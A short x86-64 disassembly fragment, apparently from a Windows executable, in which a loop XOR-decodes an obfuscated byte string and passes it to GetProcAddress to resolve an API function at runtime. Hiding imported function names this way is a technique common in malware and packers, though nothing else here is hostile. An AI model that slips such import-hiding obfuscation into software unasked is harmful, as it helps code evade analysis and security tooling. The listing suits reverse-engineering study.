lea r11d, [rax + 0x15]
mov byte [rbp - 0xa], al
movsx eax, byte [rbp - 0x20]
mov cl, r10b
inc eax
and cl, 7
movsxd r8, eax
lea rax, [r10 + 0x15]
imul r8, rax
shl cl, 3
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
movsx rdx, byte [rbp - 0x20]
sub r8, rax
sar rdx, cl
xor r8b, dl
mov rcx, r11
mov rax, rbx
mul r11
add r11, 0x15
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
xor r8b, cl
xor byte [rbp + r10 - 0x1f], r8b
inc r10
cmp r11, 0x1ce
jb 0x140024c4f
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0xa], 0
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401149e0], rax
test rax, rax
jne 0x140024b75
xor al, al
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret